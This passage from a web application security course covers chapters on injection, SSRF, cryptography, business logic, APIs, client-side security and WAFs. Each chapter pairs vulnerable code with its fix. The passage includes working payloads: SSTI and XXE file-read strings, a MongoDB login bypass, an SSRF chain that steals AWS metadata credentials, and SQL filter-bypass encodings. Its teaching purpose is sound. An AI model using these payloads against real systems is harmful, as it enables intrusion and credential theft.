# Flask — vulnerable from flask import render_template_string @app.route('/greet') def greet(): name = request.args.get('name') template = f"Hello {name}!" return render_template_string(template) # Attack payload: ?name={{7*7}} # Response: Hello 49! ← SSTI confirmed ?name={{config.items()}} # Dumps app configuration ?name={{''.__class__.__mro__[1].__subclasses__()}} # Lists all Python classes # Chain to os.system('id')
Pass data as context variable
# Correct: template is static # user data passed as context variable @app.route('/greet') def greet(): name = request.args.get('name') # Static template string template = "Hello {{ name }}!" # User data as context — not in template return render_template_string( template, name=name ) # Jinja2 auto-escapes {{ name }} # Template structure is fixed # User cannot inject template syntax

XML External Entity (XXE) Injection

XXE attacks exploit XML parsers that process external entity references in Document Type Definitions (DTDs). When an application parses attacker-supplied XML with external entities enabled, the attacker can read local files, perform SSRF, or cause denial of service.

XXE — File Read via External Entity
External entities enabled (default)
<!-- Attacker-submitted XML --> <?xml version="1.0"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <user> <name>&xxe;</name> </user> <!-- Parser replaces &xxe; with the contents of /etc/passwd --> <!-- Response contains server file -->
Disable external entities entirely
// Java — disable external entities DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature( "http://apache.org/xml/features/ disallow-doctype-decl", true); dbf.setFeature( "http://xml.org/sax/features/ external-general-entities", false); dbf.setFeature( "http://xml.org/sax/features/ external-parameter-entities", false); // Alternatively: use a library that // defaults to safe (Python defusedxml)

NoSQL Injection

NoSQL databases are not immune to injection — the syntax is different but the root cause (untrusted data altering query structure) is the same. MongoDB is the most common target.

MongoDB Operator Injection
JSON body used directly in query
// Express/MongoDB — vulnerable app.post('/login', (req, res) => { User.findOne({ username: req.body.username, password: req.body.password }); }); // Attacker sends JSON body: { "username": "admin", "password": { "$ne": null } } // $ne = not equal — matches any // non-null password → logged in // as admin without knowing password
Type validation before query
// Validate types before using app.post('/login', (req, res) => { const { username, password } = req.body; // Ensure strings, not objects if (typeof username !== 'string' || typeof password !== 'string') { return res.status(400).json( { error: 'Invalid input' } ); } User.findOne({ username, password }); }); // Objects (MongoDB operators) rejected
Key Takeaways — Chapter 7
  • OS command injection is best prevented by avoiding shell commands entirely — use language-native libraries or pass arguments as arrays, never as interpolated strings
  • SSTI occurs when user data is in the template string itself (not in the context variables) — always pass user data as context, keep templates static
  • XXE requires explicit configuration to disable external entity processing — many XML parsers enable it by default; use defusedxml (Python) or set the appropriate parser flags
  • NoSQL injection exploits query operators embedded in JSON — validate that expected strings are actually strings before passing to queries
  • The root cause of all injection is the same: untrusted data interpreted as instructions rather than data. The fix is always the same category: separate data from instructions using the appropriate API
Chapter 08 · ~15 min · SSRF OWASP A10

Server-Side Request Forgery (SSRF)

SSRF mechanics, what the server can reach, blind SSRF, filter bypass techniques, protocol handlers, and the cloud metadata credential chain

SSRF forces a server to make HTTP requests on the attacker's behalf — to destinations the attacker cannot reach directly. In cloud environments, this has become one of the highest-impact vulnerability classes because the cloud metadata service (reachable only from the instance) hands out IAM credentials to any process that asks. A single SSRF vulnerability in a web application can yield full cloud account compromise.

The Attack Surface

The server making the request has a different network position than the attacker's machine. It can reach: the cloud metadata service (169.254.169.254), internal services behind firewalls (databases, caches, admin panels bound to localhost), services on the internal network, and other cloud services using the instance's IAM role. The attacker, making requests directly, can reach none of these.

SSRF in Practice

SSRF Exploitation ChainFrom URL fetch feature to AWS IAM credential theft
Feature: "Preview a webpage — enter a URL to see a screenshot" Step 1 — confirm SSRF POST /preview {"url": "http://169.254.169.254/"} Response: latest meta-data userdata dynamic → Server can reach AWS metadata service Step 2 — find IAM role name POST /preview {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"} Response: WebAppRole Step 3 — get temporary credentials POST /preview {"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/WebAppRole"} Response: { "AccessKeyId": "ASIAXXX...", "SecretAccessKey": "wJalrXUtn...", "Token": "IQoJb3Jpb2...", "Expiration": "2024-03-16T02:15:00Z" } Step 4 — use credentials with AWS CLI $ AWS_ACCESS_KEY_ID=ASIAXXX AWS_SECRET_ACCESS_KEY=wJal... aws sts get-caller-identity {"UserId": "AROAXXX", "Account": "123456789", "Arn": "arn:aws:sts::123456789:assumed-role/WebAppRole/i-xxx"} $ aws s3 ls All S3 buckets accessible to the WebAppRole are now listed

Filter Bypass Techniques

Applications often attempt to block SSRF by filtering the URL against a blocklist of internal addresses. These filters are consistently bypassable because IP addresses can be represented in many equivalent forms:

SSRF Filter Bypass vs Correct Defence
Blocklist — always bypassable
// Blocks "127.0.0.1" and "localhost" if (url.includes('127.0.0.1') || url.includes('localhost') || url.includes('169.254.169.254')) { throw new Error('Blocked'); } // Bypasses: http://2130706433/ (decimal IP) http://0x7f000001/ (hex IP) http://0177.0.0.01/ (octal) http://[::ffff:127.0.0.1]/ (IPv6) http://127.1/ (short form) http://attacker.com/ (DNS to 127.0.0.1)
Allowlist — only known-safe destinations
// Resolve DNS first, then check IP import ipaddress, socket def is_safe_url(url): parsed = urlparse(url) # Only allow http:// and https:// if parsed.scheme not in ('http','https'): return False # Resolve hostname to IP ip = socket.gethostbyname(parsed.hostname) addr = ipaddress.ip_address(ip) # Reject all private/loopback/link-local if (addr.is_private or addr.is_loopback or addr.is_link_local or addr.is_reserved): return False # Allowlist: only permitted domains return parsed.hostname in ALLOWED_HOSTS
The DNS Rebinding Race

Even the secure approach above is vulnerable to DNS rebinding if the DNS check and the actual request happen sequentially and the DNS TTL is very short. An attacker can make attacker.com resolve to a public IP during the check, then change the DNS record to 127.0.0.1 before the actual request. The correct defence is also to enforce the resolved IP at the HTTP client level (bind to the resolved IP, reject redirects that change hosts) or to use IMDSv2 which requires a PUT request that SSRF cannot perform.

Key Takeaways — Chapter 8
  • SSRF exploits the server's network position — it can reach the metadata service, internal services, and localhost that attackers cannot reach directly
  • IMDSv1 is SSRF's best friend — it requires only a GET request; IMDSv2 requires a PUT first, which SSRF cannot do from a browser context
  • Blocklist SSRF filters are always bypassable — decimal IPs, hex IPs, IPv6 representations, and DNS rebinding defeat them all
  • Allowlist with DNS resolution and private IP range rejection is the correct approach — resolve the hostname, then verify the IP is not private/loopback/link-local
  • Disable unused URL schemes (file://, gopher://, dict://) in HTTP client libraries — these enable SSRF attacks against non-HTTP services
Chapter 09 · ~15 min · Cryptography OWASP A02

Cryptographic Failures

Weak algorithms, ECB mode, padding oracles, timing attacks, insufficient entropy, key management failures, and what to use in 2024

Cryptography is one of the areas where developers most reliably get things wrong — not because they are careless, but because the error modes are subtle and the correct approaches are not intuitive without specialist knowledge. A password hashed with MD5 looks secure in the code. An encryption implementation using ECB mode looks correct. A timing-vulnerable MAC comparison looks identical to a correct one. The failures are invisible until someone exploits them.

Why MD5 and SHA-256 Are Wrong for Passwords

The fundamental requirement for password hashing is computational expense — making each guess slow so that an attacker who obtains a hash database cannot crack passwords at scale. MD5 and SHA-256 are designed to be fast — that is their intended use for integrity checking. For password hashing, fast is wrong.

Password Cracking Speed Comparisonhashcat benchmarks on RTX 4090 (2024)
Algorithm Speed Time to crack "Summer2024!" ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━ MD5 164 GH/s < 1 second (in rockyou.txt) SHA-256 23 GH/s < 1 second (in rockyou.txt) SHA-512 7 GH/s < 1 second (in rockyou.txt) bcrypt (cost=10) 184 KH/s ~30 minutes (brute force) bcrypt (cost=12) 46 KH/s ~2 hours Argon2id (default) ~6 KH/s ~12 hours Argon2id (hardened) ~800 H/s ~4 days Notes: • "In rockyou.txt" means the password appears in the wordlist and will be found regardless of algorithm speed • Brute force timing assumes 8 uppercase + lowercase + digits • Adaptive algorithms (bcrypt/Argon2) scale with hardware — increase work factor as hardware improves

ECB Mode — Why Encryption Mode Matters

AES-ECB (Electronic Codebook) mode is a textbook example of encryption that looks correct but is deeply broken. ECB encrypts each 16-byte block independently with the same key — so identical plaintext blocks always produce identical ciphertext blocks. Patterns in plaintext survive into the ciphertext.

AES — ECB vs GCM Mode
ECB mode — patterns leak
// Python — AES-ECB from Crypto.Cipher import AES cipher = AES.new(key, AES.MODE_ECB) ciphertext = cipher.encrypt(plaintext) // Plaintext (2 blocks, same content): YELLOW SUBMARINE YELLOW SUBMARINE // Ciphertext: A2F4E801... A2F4E801... ← identical! // Attacker knows blocks 1 and 2 are // the same plaintext without decrypting // Classic: the ECB penguin // Encrypt a bitmap with ECB and the // image is still visible in the output
AES-GCM — authenticated encryption
# Python — AES-256-GCM from Crypto.Cipher import AES import os # Generate random nonce per encryption nonce = os.urandom(16) cipher = AES.new(key, AES.MODE_GCM, nonce) ciphertext, tag = cipher.encrypt_and_digest( plaintext ) # Store nonce + tag + ciphertext together # GCM: each nonce produces unique output # GCM: tag authenticates — detects tampering # Even identical plaintexts → different ct

Timing Attacks on Cryptographic Comparisons

Standard string equality operators in most languages return early when they find the first differing character — making the comparison time dependent on how many characters match. An attacker who can measure response times with sufficient precision can deduce secret values character by character.

MAC Verification — Timing-Safe Comparison
String equality — timing leak
// Python — vulnerable to timing attack expected = hmac.new( secret_key, message, 'sha256' ).hexdigest() if received_mac == expected: process_payment() // == returns early on first mismatch // "aaaa..." takes longer than "xxxx..." // Attacker measures 10,000 requests // per character to find correct byte
Constant-time comparison
# Python — timing-safe import hmac expected = hmac.new( secret_key, message, 'sha256' ).digest() # compare_digest compares ALL bytes # regardless of where mismatch occurs # Takes identical time whether 0 or # 31 bytes match if hmac.compare_digest( received_mac, expected ): process_payment()

What to Use in 2024

Use CaseRecommendedAvoid
Password hashingArgon2id (primary), bcrypt (cost ≥12), scryptMD5, SHA-*, pbkdf2 without high iterations
Symmetric encryptionAES-256-GCM (AEAD — encrypts and authenticates)AES-ECB, AES-CBC without MAC, DES, RC4, 3DES
Asymmetric signingEd25519, ECDSA (P-256), RSA-PSS (4096-bit)RSA PKCS#1 v1.5, DSA, RSA <2048 bit
Hashing (non-password)SHA-256, SHA-3, BLAKE2MD5, SHA-1 (for integrity/signatures)
MACHMAC-SHA-256, Poly1305HMAC-MD5, HMAC-SHA1, home-grown MACs
Random number generationos.urandom(), crypto.randomBytes(), SecureRandomrand(), Math.random(), timestamp-based
TLSTLS 1.3, TLS 1.2 with modern cipher suitesTLS 1.0, 1.1, SSL 3.0, SSLv2
Key Takeaways — Chapter 9
  • Argon2id is the current password hashing recommendation — bcrypt at cost ≥12 is acceptable; MD5, SHA-256, and SHA-512 are not
  • AES-ECB leaks patterns — identical plaintext blocks produce identical ciphertext; use AES-256-GCM which provides both encryption and authentication
  • Always use constant-time comparison for MAC verification — standard == leaks timing information that allows character-by-character reconstruction
  • Cryptographic randomness must come from the OS (os.urandom, crypto.randomBytes) — Math.random() and timestamp-based values are predictable
  • When in doubt, use a high-level cryptographic library (libsodium, NaCl, Tink) that makes safe choices by default rather than building from primitives
Chapter 10 · ~15 min · Business Logic OWASP A04

Business Logic Vulnerabilities

The vulnerability class no scanner finds — price manipulation, workflow bypass, race conditions, rate limit evasion, and how to test for it

Business logic vulnerabilities are the most intellectually demanding class of web vulnerability. They are not caused by using a dangerous function incorrectly — they are caused by implementing the application's own rules incorrectly. No automated scanner can detect them because scanners don't understand what the application is supposed to do. Finding and fixing them requires a tester who understands the intended behaviour and can identify where the implementation deviates.

The Defining Characteristic

Every other vulnerability class in this module has a technical root cause that a scanner can detect — a concatenated SQL query, an unencoded reflection, a missing CSRF token. Business logic flaws look technically correct. The code does exactly what the developer intended. The developer intended the wrong thing, or failed to anticipate how users would interact with the feature.

Price Manipulation

E-commerce applications that trust the client-submitted price, fail to validate the relationship between quantity and total, or use floating-point arithmetic for financial calculations are vulnerable to price manipulation.

Price Calculation — Client-Trusted vs Server-Validated
Price from request — manipulable
// Cart checkout — price from POST body app.post('/checkout', (req, res) => { const { items, total } = req.body; // Trust the total from the client! chargeCard(req.user, total); fulfillOrder(items); }); // Attacker intercepts with Burp Suite // Changes total from 299.99 to 0.01 // Order ships for 1 cent
Price computed server-side always
// Never trust prices from client app.post('/checkout', (req, res) => { const { items } = req.body; // Recalculate from canonical source const products = await Product .findByIds(items.map(i => i.productId)); const total = products.reduce( (sum, p, i) => sum + (p.price * items[i].qty), 0 ); chargeCard(req.user, total); fulfillOrder(items); });

Race Conditions

Race conditions in web applications occur when two concurrent requests can interleave to produce a state that neither request should be able to produce alone. They are particularly dangerous in operations that check a condition and then act on it — the "check-then-act" pattern.

Race Condition — Gift Card Redemption
Check-then-act without locking
// Redeem gift card async function redeemCard(code, userId) { // Check if already used const card = await GiftCard .findOne({ code, used: false }); if (!card) throw Error('Invalid'); // Gap here — two requests can both // pass the check before either marks used await card.update({ used: true }); await addBalance(userId, card.value); } // Two simultaneous requests: double credit
Atomic check-and-set
// Atomic update — only one can succeed async function redeemCard(code, userId) { // Atomically mark used and return // the card only if it was not used const card = await GiftCard.findOneAndUpdate( { code, used: false }, // filter { $set: { used: true, usedBy: userId } }, { new: true } // return updated ); // null means already used — atomic if (!card) throw Error('Invalid'); await addBalance(userId, card.value); } // Second concurrent request gets null

Workflow Bypass

Multi-step workflows (checkout flows, account verification flows, password reset flows) often assume steps will be executed in order. When the application doesn't validate that prior steps were completed before accepting a later step, attackers can skip steps entirely.

2FA Bypass — Workflow Step SkippingAccessing dashboard directly after password step, skipping 2FA
Normal flow: 1. POST /login → sets session state: {step: "2fa_required"} 2. POST /login/2fa with OTP → sets state: {authenticated: true} 3. GET /dashboard → checks authenticated: true Attack — skip step 2: 1. POST /login with valid credentials → 302 redirect to /login/2fa 2. Skip /login/2fa entirely 3. GET /dashboard directly Vulnerable response: 200 OK — full dashboard loaded The session state "2fa_required" was never checked at /dashboard Application only checked "logged_in", not "fully_authenticated" Fix: distinguish partially-authenticated from fully-authenticated sessions session.state = "pending_2fa" # after password session.state = "authenticated" # after 2FA Dashboard requires session.state == "authenticated"
Key Takeaways — Chapter 10
  • Never trust prices, quantities, or any financial value from the client — always recompute from the canonical server-side source
  • Race conditions in check-then-act patterns are fixed by atomic database operations — findOneAndUpdate with a condition, database transactions, or row-level locking
  • Workflow bypass happens when later steps don't validate that prior steps completed — model session state explicitly (pending_2fa vs authenticated) rather than relying on implicit assumptions
  • Business logic testing requires understanding the intended flow — map every state, every transition, and ask "what if I skip/reverse/repeat this step?"
  • No scanner finds business logic flaws — they require a tester who reads the application code or uses it deeply enough to understand the intended behaviour before probing deviations
Chapter 11 · ~16 min · API Security OWASP API Top 10

API Security

OWASP API Security Top 10, GraphQL vulnerabilities, OAuth 2.0 attacks, API key management, and rate limiting design

Modern applications are built on APIs — REST services, GraphQL endpoints, gRPC interfaces — and the security model for APIs has important differences from traditional web applications. Authentication is more varied (API keys, JWT, OAuth 2.0). Access control failures have a different character (BOLA vs IDOR). APIs expose machine-readable schema (Swagger, GraphQL introspection) that gives attackers a complete map of the attack surface before they start testing.

BOLA — The #1 API Vulnerability

Broken Object Level Authorisation (BOLA) is the API Security Top 10's equivalent of IDOR — and its most common finding. An API endpoint that returns objects based on a user-supplied ID without verifying the requesting user is authorised for that specific object is vulnerable.

BOLA — Order Access Endpoint
Object ID without ownership check
// GET /api/v1/orders/{orderId} router.get('/orders/:orderId', authMiddleware, async (req, res) => { // Fetches any order by ID const order = await Order.findById( req.params.orderId ); res.json(order); }); // User 1042 requests order 9999 // Gets another user's order details // Including payment method, address
Scoped query includes user context
router.get('/orders/:orderId', authMiddleware, async (req, res) => { // Scope query to authenticated user const order = await Order.findOne({ _id: req.params.orderId, userId: req.user.id // ownership }); if (!order) { // 404, not 403 — don't reveal existence return res.status(404).json( { error: 'Not found' } ); } res.json(order); });

GraphQL Security

GraphQL's power — flexible querying, schema introspection — creates a distinct attack surface compared to REST APIs.

GraphQL Introspection + Query Depth AttackSchema enumeration and resource exhaustion
Step 1 — Introspection to map attack surface POST /graphql { "query": "{ __schema { types { name fields { name type { name } } } } }" } Reveals all types, fields, and mutations including undocumented ones Step 2 — Nested query DoS (no depth limit) { user(id: "1") { friends { friends { friends { friends { id name email } } } } } } Server makes exponentially growing DB queries → OOM / timeout Step 3 — Batch query abuse [{"query":"{ user(id:\"1\") { email } }"}, {"query":"{ user(id:\"2\") { email } }"}, ... 1000 queries in single request ...] Rate limit applies per HTTP request, not per operation → bypassed
GraphQL — Disabling Introspection in Production
Introspection enabled in production
// Apollo Server — default config const server = new ApolloServer({ typeDefs, resolvers, // introspection enabled by default }); // Any user can dump the full schema // including fields not exposed in UI // and mutations not in documentation
Disabled in production + depth limit
const server = new ApolloServer({ typeDefs, resolvers, // Disable introspection in production introspection: process.env.NODE_ENV !== 'production', // Add depth and complexity limits plugins: [ createComplexityLimitRule(1000), depthLimitPlugin({ maxDepth: 7 }) ], });

OAuth 2.0 — Common Implementation Flaws

OAuth 2.0 is the standard for delegated authorisation — "log in with Google," third-party app access, API authorisation. Correct implementation requires attention to several details that are easy to get wrong:

OAuth 2.0 State Parameter — CSRF in OAuth
Missing state parameter
// OAuth flow without state GET /oauth/authorize? client_id=myapp& redirect_uri=https://app.com/callback& response_type=code // Attacker initiates their own OAuth flow // captures the code the provider returns // sends victim to /callback?code=ATTACKER_CODE // Victim's session is linked to attacker's // OAuth account — account takeover
State parameter prevents CSRF
# Generate random state, store in session state = secrets.token_urlsafe(32) session['oauth_state'] = state redirect_url = ( f"{PROVIDER_URL}/oauth/authorize?" f"client_id={CLIENT_ID}&" f"state={state}&" # include state f"redirect_uri={CALLBACK_URL}" ) # In callback: verify state matches if request.args['state'] != session['oauth_state']: abort(403, 'State mismatch')
Key Takeaways — Chapter 11
  • BOLA (Broken Object Level Authorisation) is the #1 API vulnerability — always scope database queries to the authenticated user, not just the supplied ID
  • GraphQL introspection maps the entire attack surface — disable it in production; enable only in development environments
  • GraphQL depth and complexity limits prevent nested query DoS — without them, a single request can trigger exponential database queries
  • OAuth state parameter prevents CSRF in the authorisation flow — its absence allows attackers to link victims' accounts to attacker-controlled OAuth identities
  • Rate limiting must apply per-operation in batch-capable APIs (GraphQL batching, JSON RPC) — per-HTTP-request limits are trivially bypassed by batching
Chapter 12 · ~15 min · Client-Side Security

Client-Side Security

CORS misconfiguration, clickjacking, cookie security in depth, Subresource Integrity, postMessage, prototype pollution, and browser storage

The browser is a security boundary, not merely a rendering engine. The same-origin policy, CORS, CSP, cookie flags, and subresource integrity are all mechanisms the browser enforces on behalf of users and websites. Understanding them as a connected system — rather than individual features to configure in isolation — is what allows you to reason about what is and isn't protected in a given application architecture.

CORS — Cross-Origin Resource Sharing

CORS allows servers to explicitly permit cross-origin requests that the same-origin policy would otherwise block. The server uses Access-Control headers to communicate which origins, methods, and headers are permitted. The most common and most dangerous CORS misconfiguration is reflecting the Origin header — allowing any origin to make authenticated cross-origin requests.

CORS Configuration — Insecure vs Correct
Reflecting Origin — any site can read responses
// Dangerous: reflects any Origin app.use((req, res, next) => { res.setHeader( 'Access-Control-Allow-Origin', req.headers.origin // ← reflects! ); res.setHeader( 'Access-Control-Allow-Credentials', 'true' ); }); // evil.com can now make authenticated // requests to your API and read responses // Equivalent to no SOP protection
Explicit allowlist of trusted origins
const ALLOWED_ORIGINS = [ 'https://app.example.com', 'https://admin.example.com' ]; app.use((req, res, next) => { const origin = req.headers.origin; if (ALLOWED_ORIGINS.includes(origin)) { res.setHeader( 'Access-Control-Allow-Origin', origin // only set for known origins ); res.setHeader( 'Access-Control-Allow-Credentials', 'true' ); } next(); });

Clickjacking

Clickjacking overlays a transparent iframe containing a legitimate application over a deceptive page, hijacking the user's clicks to perform actions on the underlying site without their knowledge. The defence is preventing the application from being framed at all.

Clickjacking Defence — frame-ancestors CSP
No frame restriction — frameable
<!-- Any site can embed this in iframe --> <iframe src="https://bank.com/transfer" style="opacity:0; position:absolute;"> </iframe> <!-- Victim clicks "Win a prize!" Actually clicks "Confirm Transfer" --> // No X-Frame-Options or CSP frame-ancestors // bank.com can be framed by anyone
frame-ancestors prevents framing
# CSP frame-ancestors — preferred Content-Security-Policy: frame-ancestors 'none'; # Prevents ALL framing # Or allow only same-origin: Content-Security-Policy: frame-ancestors 'self'; # Legacy (still useful): X-Frame-Options: DENY # Or: X-Frame-Options: SAMEORIGIN # frame-ancestors CSP is preferred as # it supports more granular control # X-Frame-Options doesn't support CSP nonces

Prototype Pollution

JavaScript's prototype chain means every object inherits properties from Object.prototype. Prototype pollution occurs when an attacker can inject properties into Object.prototype via a vulnerable merge/assign operation — causing those properties to appear on all objects in the application, potentially enabling XSS, privilege escalation, or RCE in server-side Node.js contexts.

Prototype Pollution — Deep Merge Function
Recursive merge without key sanitisation
// Vulnerable deep merge function merge(target, source) { for (let key in source) { if (typeof source[key] === 'object') { merge(target[key], source[key]); } else { target[key] = source[key]; } } } // Attacker sends JSON body: { "__proto__": { "isAdmin": true } } // merge() sets Object.prototype.isAdmin // All objects now have isAdmin = true // if (user.isAdmin) → always true!
Sanitise keys and use Object.create(null)
// Sanitise dangerous keys function safeMerge(target, source) { for (let key in source) { // Block prototype pollution keys if (key === '__proto__' || key === 'constructor' || key === 'prototype') continue; if (typeof source[key] === 'object') { safeMerge(target[key], source[key]); } else { target[key] = source[key]; } } } // Or: use structuredClone() for deep copy // Or: Object.assign() for shallow merge
Key Takeaways — Chapter 12
  • CORS that reflects the Origin header is equivalent to no SOP protection — use an explicit allowlist of trusted origins, never reflect the request's Origin value
  • Clickjacking is prevented by Content-Security-Policy: frame-ancestors 'none' — every application should set this unless it explicitly needs to be framed
  • Prototype pollution via __proto__ in JSON merge operations can grant all objects arbitrary properties — sanitise merge keys explicitly
  • Browser storage: localStorage persists indefinitely, sessionStorage for session duration, HttpOnly cookies are inaccessible to JavaScript — store session tokens in HttpOnly cookies, not localStorage
  • Subresource Integrity (SRI) hashes on <script> and <link> tags prevent execution of compromised CDN content — required for any externally-hosted resource
Chapter 13 · ~15 min · Secure Architecture

Modern Application Security Architecture

Security headers in full, defence in depth, the secure SDLC, SAST/DAST/SCA, secure framework defaults, and input vs output as separate concerns

Individual vulnerability fixes are necessary but not sufficient. An application that has fixed every known SQLi, XSS, and CSRF finding but has no Content Security Policy, no security headers, no SAST in the pipeline, and no dependency scanning is still in a weak security posture. This chapter covers the architectural and process-level controls that make security a structural property of the application rather than a patch applied after each finding.

Security Headers — The Complete Set

HTTP Security HeadersComplete secure response header configuration
# Content Security Policy — restricts script/style/resource sources Content-Security-Policy: default-src 'self'; script-src 'nonce-{random}' 'strict-dynamic'; style-src 'self' 'nonce-{random}'; img-src 'self' data: https:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests; # HSTS — enforce HTTPS, prevent downgrade Strict-Transport-Security: max-age=63072000; includeSubDomains; preload # Prevent MIME-type sniffing X-Content-Type-Options: nosniff # Referrer policy — control info in Referer header Referrer-Policy: strict-origin-when-cross-origin # Permissions policy — disable unused browser features Permissions-Policy: camera=(), microphone=(), geolocation=() # CORP/COOP/COEP — isolation headers (for Spectre mitigation) Cross-Origin-Resource-Policy: same-origin Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp # NOT recommended (deprecated): X-XSS-Protection: 0 ← disable — causes issues in old browsers

Input Validation vs Output Encoding vs Parameterisation

These three controls are often conflated but serve different purposes and are not interchangeable:

Three Distinct Controls — All Necessary
Relying on input validation alone
// Input validation strips <script> $name = strip_tags($_POST['name']); // Then stored in DB and displayed: echo $name; // Bypass: <img src=x onerror=alert(1)> // strip_tags allows event handlers! // Output encoding would have stopped this // And for SQL: $q = "SELECT * FROM t WHERE n='" . $name . "'"; // strip_tags doesn't remove SQL metacharacters // Parameterisation needed for SQL
Each control in its correct place
// 1. Input validation — type, length, format if (!preg_match('/^[a-zA-Z\s]{1,100}$/', $name)) { reject('Invalid name format'); } // 2. Parameterisation — for SQL $stmt = $pdo->prepare('INSERT INTO users SET name=?'); $stmt->execute([$name]); // 3. Output encoding — for HTML display echo htmlspecialchars($name, ENT_QUOTES, 'UTF-8'); // Each layer covers a different threat: // Validation: reject obviously wrong input early // Parameterisation: prevents SQL injection // Output encoding: prevents XSS // None is a substitute for the others

Security in the Development Lifecycle

StageActivityTool ExamplesWhat It Catches
DesignThreat modellingSTRIDE, PASTA, draw.io + manualDesign-level flaws before a line of code exists
DevelopmentIDE SAST pluginsSemgrep, SonarLint, CodeQL IDE extensionInjection patterns, hardcoded secrets, insecure functions — in real time
CommitPre-commit hooksdetect-secrets, git-secrets, GitleaksSecrets committed to version control
CI pipelineSAST scanSemgrep, CodeQL, CheckmarxSecurity anti-patterns across entire codebase
CI pipelineSCA scanSnyk, Dependabot, OWASP Dependency-CheckKnown CVEs in third-party dependencies
CI pipelineContainer scanTrivy, Grype, Snyk ContainerOS and package vulnerabilities in container images
StagingDAST scanOWASP ZAP, Burp Suite EnterpriseRuntime vulnerabilities: XSS, SQLi, CSRF, auth failures
Pre-releaseManual pentest / code reviewBurp Suite, manual code reviewBusiness logic, complex auth flows, chained vulnerabilities
ProductionDAST / bug bountyContinuous scanning, HackerOneRegressions, new features, zero-days
Key Takeaways — Chapter 13
  • Security headers (CSP, HSTS, X-Content-Type-Options, Referrer-Policy) are a layer of browser-enforced defence — set all of them; each covers a different threat
  • Input validation, output encoding, and parameterisation are three separate controls for three separate threats — none is a substitute for the others
  • Security shifts left: finding a vulnerability in threat modelling costs hours; in code review costs hours; in production costs hundreds of thousands of dollars and reputation
  • SAST finds code patterns; DAST finds runtime behaviour; SCA finds dependency vulnerabilities — all three are needed because each catches what the others miss
  • Framework secure defaults (Django ORM, Rails CSRF protection, Spring Security headers) are only secure when used as intended — customisation and workarounds often undo them
Chapter 14 · ~14 min · WAF & Detection

Web Application Firewalls and Detection

WAF architecture, how WAFs work, bypass techniques (to understand why WAF is not primary defence), web application logging, SIEM rules, and web app IR

A Web Application Firewall sits between users and your application, inspecting HTTP traffic and blocking requests that match known attack patterns. WAFs are valuable — they provide real protection against automated attacks and unsophisticated attackers, and they buy time when a zero-day is discovered. But WAFs are defence-in-depth, not primary defence. Understanding how they are bypassed makes clear why "we have a WAF" is not a satisfactory answer to "why don't you have parameterised queries?"

How WAFs Work

WAFs inspect HTTP requests (and optionally responses) and evaluate them against a ruleset:

  • Signature-based — rules that match known attack strings. The OWASP ModSecurity Core Rule Set (CRS) contains thousands of regular expressions matching SQLi, XSS, path traversal, and other patterns. Fast and effective against known attacks; blind to novel variations.
  • Anomaly scoring — each suspicious characteristic adds to a score; requests exceeding a threshold are blocked. More flexible than signature-matching; tuning required to avoid false positives.
  • Rate-based — limits requests per IP, per session, or per endpoint over time. Effective against brute force and scraping; not effective against slow, distributed attacks.

WAF Bypass Techniques

The goal of studying bypass techniques is not to attack WAFs — it's to understand why a WAF cannot be the primary SQL injection defence:

WAF Bypass ExamplesWhy WAFs are defence-in-depth, not primary defence
WAF blocks: SELECT, UNION, WHERE, --, ' etc. Encoding bypasses: UNION SELECT → %55NION SELECT (URL encode U) UNION SELECT → /*!UNION*/SELECT (MySQL comment) UNION SELECT → UNION%09SELECT (tab instead of space) UNION SELECT → UNION%0aSELECT (newline instead of space) Case variation: union select → uNiOn SeLeCt (SQL is case-insensitive) HTTP parameter pollution: id=1&id=1 UNION SELECT 1,2,3-- Some WAFs check first param, backend uses last Chunked transfer encoding: WAF reassembles incorrectly; backend processes normally The point: a determined attacker with time will find a WAF bypass. Parameterised queries cannot be bypassed — the query structure is fixed

What to Log and Why

Web application logs are the evidence that investigations depend on. What is not logged cannot be investigated. What is logged incorrectly misleads investigations.

Web Application Logging — What Matters
Insufficient or insecure logging
// Only logging errors — misses attacks if (error) console.error(error.message); // Logging credentials — security risk console.log('Login attempt:', username, password); ← NEVER LOG PASSWORDS // No timestamp, no user context logger.info('Access denied'); // No correlation ID — can't trace // a request through multiple services
Structured logging with security events
// Structured security event logging logger.security({ timestamp: new Date().toISOString(), event: 'auth.failed', userId: userId, // not username+pass ip: req.ip, userAgent: req.headers['user-agent'], requestId: req.id, // correlation path: req.path, reason: 'invalid_credentials' // Never log: passwords, tokens, PII });
Key Takeaways — Chapter 14
  • WAFs provide real value against automated attacks and unsophisticated adversaries — but a determined attacker with knowledge of the target WAF will find a bypass
  • WAF bypass techniques (encoding, comment injection, HTTP pollution) demonstrate why fixing the underlying vulnerability (parameterised queries) is the only durable defence
  • Log security events (auth attempts, access denials, validation failures) with structured data — timestamp, user ID, IP, request ID, reason — never credentials or sensitive data
  • Web application IR starts with the access log: identify the first anomalous request, trace the attack chain forward through time, determine what was accessed
  • SIEM rules for web attacks: high 4xx rates from a single IP (scanner), repeated auth failures (brute force), unusual response sizes (data exfiltration), requests containing known attack strings
Chapter 15 · ~13 min · Practice & Career

Secure Development Practices and Career

The secure SDLC, security code review, dependency management, bug bounty from the developer's perspective, AppSec career paths, and certifications

The technical content in the preceding fourteen chapters describes individual vulnerability classes and their fixes. This final chapter is about the practices and systems that prevent those vulnerabilities from reaching production in the first place — and the career paths for practitioners who make web application security their focus.

Security Code Review — What to Look For

Reading code with a security lens requires a different mode of attention than reading for functionality. Where functional review asks "does this code do what it's supposed to?", security review asks "what could an adversary do with this code that the developer didn't intend?"

Security Code Review ChecklistHigh-value patterns to look for in any code review
